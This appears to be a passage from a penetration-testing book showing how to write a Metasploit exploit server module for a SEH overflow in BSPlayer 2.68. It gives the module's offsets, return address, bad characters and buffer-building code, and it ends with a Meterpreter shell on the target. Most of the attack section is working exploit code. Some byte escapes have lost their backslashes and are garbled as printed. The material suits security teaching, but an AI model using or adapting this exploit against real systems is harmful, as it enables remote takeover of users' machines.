Let us look at the following table that highlights all the necessary values and their usage:

2048   

0x0000583b   

xe9x85xe9xffxff   

xebxf9x90x90   

We now have all the essentials to build the Metasploit module for the BSplayer 2.68 application. We can see that the author has placed the ShellCode exactly after 2048 NOPs. However, this does not mean that the actual offset value is 2048. The author of the exploit has placed it before the SEH overwrite because there might be no space left for the ShellCode. However, we will take this value as offset, since we will follow the exact procedure from the original exploit. Additionally, xcc is a breakpoint op code, but in this exploit, it has been used as padding. The jmplong variable stores the backward jump to the ShellCode, since we are on space constraints. The nseh variable stores the address of the next frame, which is nothing but a short jump as we discussed in the previous chapter. The seh variable stores the address of P/P/R instruction sequence.

Let us start the coding part of our exploit in Metasploit:

require 'msf/core' 
 
class Metasploit3 < Msf::Exploit::Remote 
  Rank = NormalRanking 
 
  include Msf::Exploit::Remote::TcpServer 
 
  def initialize(info={}) 
    super(update_info(info, 
      'Name'           => "BsPlayer 2.68 SEH Overflow Exploit", 
      'Description'    => %q{ 
        Here's an example of Server Based Exploit 
      }, 
      'Author'         => [ 'Nipun Jaswal' ], 
      'Platform'       => 'win', 
      'Targets'        => 
        [ 
          [ 'Generic', {'Ret' => 0x0000583b, 'Offset' => 2048} ], 
        ], 
      'Payload'  =>  
       { 
       'BadChars' => "x00x0ax20x0d" 
       }, 
      'DisclosureDate' => "May 19 2016", 
      'DefaultTarget'  => 0)) 
  end 

Having worked with so many exploits, the code section above is no different, with the exception of the TCP server library file from /lib/msf/core/exploit/tcp_server.rb. The TCP server library provides all the necessary methods required for handling incoming requests and processing them in various ways. Inclusion of this library enables additional options such as SRVHOST, SRVPORT and SSL. Let us look at the remaining part of the code:

def on_client_connect(client) 
return if ((p = regenerate_payload(client)) == nil) 
    print_status("Client Connected") 
    sploit = make_nops(target['Offset']) 
    sploit << payload.encoded 
    sploit << "xcc" * (6787-2048 - payload.encoded.length)  
    sploit << "xe9x85xe9xffxff"  
    sploit << "xebxf9x90x90" 
    sploit << [target.ret].pack('V') 
    client.put(sploit) 
    client.get_once 
    client.put(sploit) 
    handler(client) 
    service.close_client(client) 
  end 
end 

We can see we have no exploit method with these type of exploit. However, we have on_client_connect, on_client_data and on_client_disconnect methods. The most useful and the easiest is the on_client_connect method. This method is fired as soon as a client connects to the exploit server on the chosen SRVHOST and SRVPORT.

We can see we created NOPs in the Metasploit way using make_nops and embedded the payload using payload.encoded, thus eliminating the use of hardcoded payloads. We assembled rest of the sploit variable similar to the original exploit. However, to send the malicious data back to the target when requested, we have used client.put(), which will respond with our chosen data to the target. Since, the exploit requires the data to be sent twice to the target, we have used client.get_once to ensure that the data is sent twice instead of being merged as a single unit. Sending the data twice to the target, we fire the handler that actively looks for incoming sessions from successful exploits. In the end, we close the connection to the target by issuing a service.client_close call.

We can see that we have used the client object in our code. This is because the incoming request from a particular target will be considered as a separate object and it will also allow multiple targets to connect at the same time.

Let us see our Metasploit module in action:

Let us connect to the exploit server on port 8080 from BSplayer 2.8 as follows:

As soon as a connection is attempt is made to our exploit handler, the meterpreter payload is delivered to the target and we are presented with the following screen:

Jackpot! The Meterpreter shell is now accessible. We successfully wrote an exploit server module in Metasploit using TCP server libraries. In Metasploit, we can also establish HTTP server functionalities using HTTP server libraries: